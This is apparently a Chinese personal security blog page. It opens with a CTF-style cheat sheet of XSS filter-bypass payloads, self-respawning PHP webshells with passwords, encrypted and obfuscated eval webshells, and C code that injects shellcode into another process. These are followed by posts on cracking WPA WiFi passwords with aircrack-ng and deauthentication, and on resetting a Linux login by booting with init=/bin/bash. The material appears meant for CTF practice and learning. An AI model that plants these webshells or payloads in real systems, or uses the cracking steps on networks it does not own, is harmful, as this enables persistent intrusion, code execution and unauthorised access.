users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ uploads/ download/ downloads/ manager/ phpmyadmin/ phpMyAdmin/{/collapse-item}{/collapse}XSS语句<script>alert(1);</script> <!-- 基本XSS漏洞 --> <body onscroll=alert("xss");> <!-- 滚动时触发XSS --> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 --> <body/onload=alert("xss");> <!-- 页面加载时触发XSS --> <audio src=x onerror=alert("xss");> <!-- 音频错误时触发XSS --> <video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS --> <iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS --> <svg onload=alert("xss");> <!-- SVG加载时触发XSS --> <details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS --> <input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS --> <scirpt>alert("xss");</script> <!-- 脚本标签 --> <textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 --> <a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS --> <a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格 <ImG sRc=x onerRor=alert("xss");> # 大小写绕过 <imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过 <img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接 <!-- Unicode编码绕过 --> <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <!-- url编码绕过 --> <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <!-- ascii码绕过 --> <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> <!-- hex绕过 --> <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> <!-- 八进制绕过 --> <img src=x onerror=alert('\170\163\163')> <!-- base64绕过 --> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <!-- 十进制IP --> <img src="x" onerror=document.location=`http://2130706433/`> <!-- 八进制IP --> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <!-- 十六进制 --> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>流量过滤ftp http arp udp telnet smtp username password flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg 666c6167 f JFIF # 关键字文件搜索 nbns # 查找主机名称 http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt ftp contains "USER" and ftp contains "PASS" # 查找账号密码 http contains "uname" # 查看内核版本 http contains "www-data" or http contains "root" # 查看shell连接后权限 http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin tcp.connection.syn # 查看tcp第一次访问 ftp contains "USER" # 过滤FTP账号 http contains "404" # 搜索被爆破哪些目录 tcp.flags.syn==1 # 查看被扫描了哪些端口 tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放 http.request.method == POST or http contains "submit" # 查找表单关键字 http.response.code==200 and http contains "database" # 查看数据库请求成功后 http contains ".log" # 查看存在日志关键字 http contains "<?php eval" http contains "<?php @eval" # 过滤内容存在一句话木马 http.request.uri contains "shell.php" # 过滤url存在敏感文件 ip.port == 3306 and http contains "version=" # mysql版本 http contains "whoami" or http contains "ls" # 查看被入侵后 http contains "acunetix" # 搜索扫描工具特征 一般扫描工具:Awvs, Netsparker, Appscan, Webinspect, Rsas, Nessus, WebReaver, Sqlmap不死马<?php // 忽略用户断开请求,保证脚本持续运行 ignore_user_abort(true); // 设置脚本执行时间无限制 set_time_limit(0); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 定义新的shell.php文件名 $file = 'shell.php'; // 编写webshell代码,包含密码验证和命令执行 $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; // 无限循环生成shell.php文件 while (1) { // 写入webshell代码到文件 file_put_contents($file, $code); // 修改文件修改时间,防止被删除 system('touch -m -d "2020-12-01 09:10:12" shell.php'); // 每隔5秒执行一次 usleep(5000); } ?> // passwd=AabyssTeam // POST传参:passwd=AabyssTeam&cmd=system('ls');<?php // 设置脚本执行时间无限制 set_time_limit(0); // 忽略用户断开请求,脚本将后台运行 ignore_user_abort(1); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 无限循环生成shell.php文件 while(1) { // 创建shell.php文件并写入简单的webshell代码 file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>'); // 间隔时间,防止过于频繁 sleep(0); } ?>Linux信息收集// 检查系统发行版本信息 cat /etc/issue // 显示系统发行信息 cat /etc/*-release // 显示系统发行版本 cat /etc/lsb-release // 显示 LSB (Linux Standard Base) 发行版本 cat /etc/redhat-release // 显示 Red Hat 发行版本DES Webshell<?php $a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数 $key = 'qaswedfr'; // 加密密钥 $decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据 $flag = ""; // 存储解密后的数据 // 对每个解密后的字符使用异或运算处理 for($i=0; $i<strlen($decryptedData); $i++){ $test = $decryptedData[$i]; $flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符 echo "<br />"; } echo $flag; // 输出解密后的数据 system($flag); // 执行解密后的命令 ?><?php // 定义解密函数 function iJG($BHM) { $BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩 for($i=0; $i<strlen($BHM); $i++) { $BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1 } return $BHM; } // 调用解密函数,传入加密数据 eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>Webshell大马{cloud title="源码" type="default" url="https://www.52tt.pro/usr/uploads/2022/08/webshell.zip" password=""/}{collapse}{collapse-item label="shellcode调窗口" open}#include <windows.h> // Windows API #include <stdio.h> // 标准输入/输出库 #include <string.h> // 字符串处理库 #include <tlhelp32.h> // 进程快照和工具帮助库 // 获取指定进程名的进程ID WORD GetProcessIdByName(const char *processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, processName) == 0) { CloseHandle(hSnapshot); return pe32.th32ProcessID; } } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; } // 主函数 int main() { const char *targetProcessName = "0.exe"; // 目标进程名称 DWORD pid = GetProcessIdByName(targetProcessName); // 获取目标进程ID HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程,赋予所有访问权限 if (hProcess == NULL) { return 1; } // 分配远程内存用于存储注入代码 LPVOID pCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { CloseHandle(hProcess); return 1; } // 定义注入的机器码 BYTE Hexcode[] = { 0xC8, 0x00, 0x00, 0x00, // enter 0,0 0x68, 0x01, 0x00, 0x01, 0x52, // push 52010001 0xBB, 0x60, 0x38, 0x44, 0x00, // mov ebx, 0x443860 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x04, // add esp, 0x4 0x6A, 0x00, // push 0x0 0x6A, 0x01, // push 0x1 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x05, // push 0x5 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x18, // add esp, 0x18 0x6A, 0x00, // push 0x0 0x6A, 0x00, // push 0x0 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x06, // push 0x6 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xc4, 0x18, // add esp, 0x18 0xBB, 0x30, 0x38, 0x44, 0x00, // mov ebx, 0x443830 0xFF, 0xD3, // call ebx 0xC9, // leave 0xC3 // ret }; // 将机器码写入远程进程内存 if (!WriteProcessMemory(hProcess, pCode, Hexcode, sizeof(Hexcode), NULL)) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 创建远程线程执行注入的机器码 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, NULL, 0, NULL); if (hThread == NULL) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); // 释放远程内存 CloseHandle(hThread); CloseHandle(hProcess); return 0; }{/collapse-item}{/collapse}
2022年02月04日
74 阅读
0 评论
19 点赞
2022-01-06
【技术分享】Kali Linux Wifi密码暴力破解
简介Kali Linux是一个专门用于网络安全和渗透测试的操作系统,其中包含了一些强大的工具,也包括用于破解WiFi密码的工具,aircrack-ng 是最常用的WiFi密码破解工具之一,它可以通过捕捉WiFi流量并对其进行分析来破解WPA/WPA2-PSK加密方式的WiFi密码。破解WiFi步骤扫描WiFi网络:使用airmon-ng命令将无线网卡设置为监听模式,并使用airodump-ng命令扫描周围的WiFi网络。捕捉WiFi流量:使用airodump-ng命令捕捉目标WiFi网络的流量,并保存到文件中。筛选握手包:使用airodump-ng命令筛选出握手包,这是破解WPA/WPA2-PSK密码所必需的。破解密码:使用aircrack-ng命令对握手包进行分析,并尝试破解WiFi密码。首先我们需要一张外置的无线网卡,有些内置的无线网卡可能不支持监听模式(monitor mode),这是很久以前我买的一块外置的无线网卡拼多多15元,用外置的无线网卡是为了避免在破解时影响到自己的网络连接和设备的正常运行。ifconfing先查看下ip地址,这个时候我已经接入了外置网卡,所以多出了一块wlan0,有了这个才能完成后面的步骤。airmon-ng start wlan0把wlan0网卡设置为监听模式(monitor mode),来进行WiFi的流量捕捉分析。iwconfig查看下无线网络的信息,可以发现已经设置成功wlan0mon了。airodump-ng wlan0mon好了准备就绪,开始扫描附近的Wifi,可以看见周围的wifi列表信息,列表上展示了wifi的信号强度、加密类型、信道等信息,记好要破解的BSSID和信道ID,airodump-ng -c 11 --bssid 8C:DE:F9:57:D7:5B -w hach wlan0mon监听抓取握手包,按自己的需求稍微修改下信道id和bssid ,回车就可以看见此wifi连接的用户信息,一旦有新用户连接上wifi就会抓到握手包,程序会自动把数据保存文件到本地。# 强制下线 aireplay-ng -0 2 -a BSSID -c STATION wlan0mon如果没有用户连接wifi,没有握手包的情况下,可强制踢下线使用 aireplay-ng -0 2 -a BSSID -c STATION wlan0mon 命令,-0后的2是次数,输入终端回车就可以进行强制踢下线。aircrack-ng -a2 -b 8C:DE:F9:57:D7:5B -w /usr/share/wordlists/rockyou.txt /home/kali/Desktop/hach-01.cap最后输入以上命令回车,稍微自己修改下字典路径与握手包的cap,暴力破解全靠字典当然也需要亿点点运气。
2022年01月06日
54 阅读
0 评论
4 点赞
2022-01-05
【技术分享】Vmware Linux登录密码修改
这里使用ubuntu为例,在开机时,长按Shift键可以进入图片界面。在进入系统后,按e键进行编辑,找到首个选项,即 'ubuntu'。找到系统的启动配置行 'linux',将字符串 'ro maybe-ubiquity' 注意这行内容可能不一样只有 修改为 'rw single init=/bin/bash',按下 F10 键就可以进入系统,进入后类似于 PE 系统,在那里修改用户的密码。rw single init=/bin/bash通过更改密码, 重启后即可登录。
2022年01月05日
44 阅读
0 评论
5 点赞
2022-01-05
【技术分享】Kali Linux 开启SSH服务
实现步骤vi /etc/ssh/sshd_config首先需要进入SSH的配置文件,使用vi编辑文件配置,找到 PubKeyAuthentication 这一行,该选项默认值是no,需要将改成yes。/etc/init.d/ssh restart改完之后,需要重新启动SSH服务,查看本机的IP地址,使用另一台电脑通过SSH协议连接到Kali。这里我用MobaXterm进行连接,可以发现已经可以连上了。
2022年01月05日
21 阅读
0 评论
6 点赞
2021-04-13
【技术分享】C语言转换汇编代码
简介我会介绍下在Windows环境下使用gcc生成的汇编代码,gcc环境请自行安装好,汇编有好几种格式最常用的也就是 x86-64 Intel格式 和 x86-64 AT&T 语法格式,以下我都会演示,你一定想问为什么要生成汇编,在我看来的确很有用它会让你明白代码在底层是如何进行运作的,在逆向中能懂汇编代码会有很大的帮助。C源代码#include <stdio.h> #include <Windows.h> int main(){ puts("Hello"); system("pause"); return 0; }生成obj文件gcc -c .\test.cIntel 语法格式objdump -M intel -d .\test.o objdump -M intel -d -S .\test.o1.用objdump工具对.o文件进行生成Intel语法格式汇编代码。AT&T 语法格式objdump -d .\test.o2.用objdump工具对.o文件进行生成AT&T语法格式汇编代码。gcc -c .\test.c && objdump -S .\test.o 1.gcc中的 -c参数只激活预处理 编译和汇编生成.o 的obj文件,这里我用了&&符号这是cmd里的并执行的意思,它会先执行 gcc 然后再执行 objdump 让它生成汇编代码。gcc -c .\test.c && objdump -S .\test.o > 1.txt2.然后将内容指定输出到1.txt文本文档里,桌面就会生成1.txt文本文档打开就可以看到AT&T语法格式的汇编代码了。
2021年04月13日
54 阅读
0 评论
3 点赞
1
...
3
4
5
6
0:00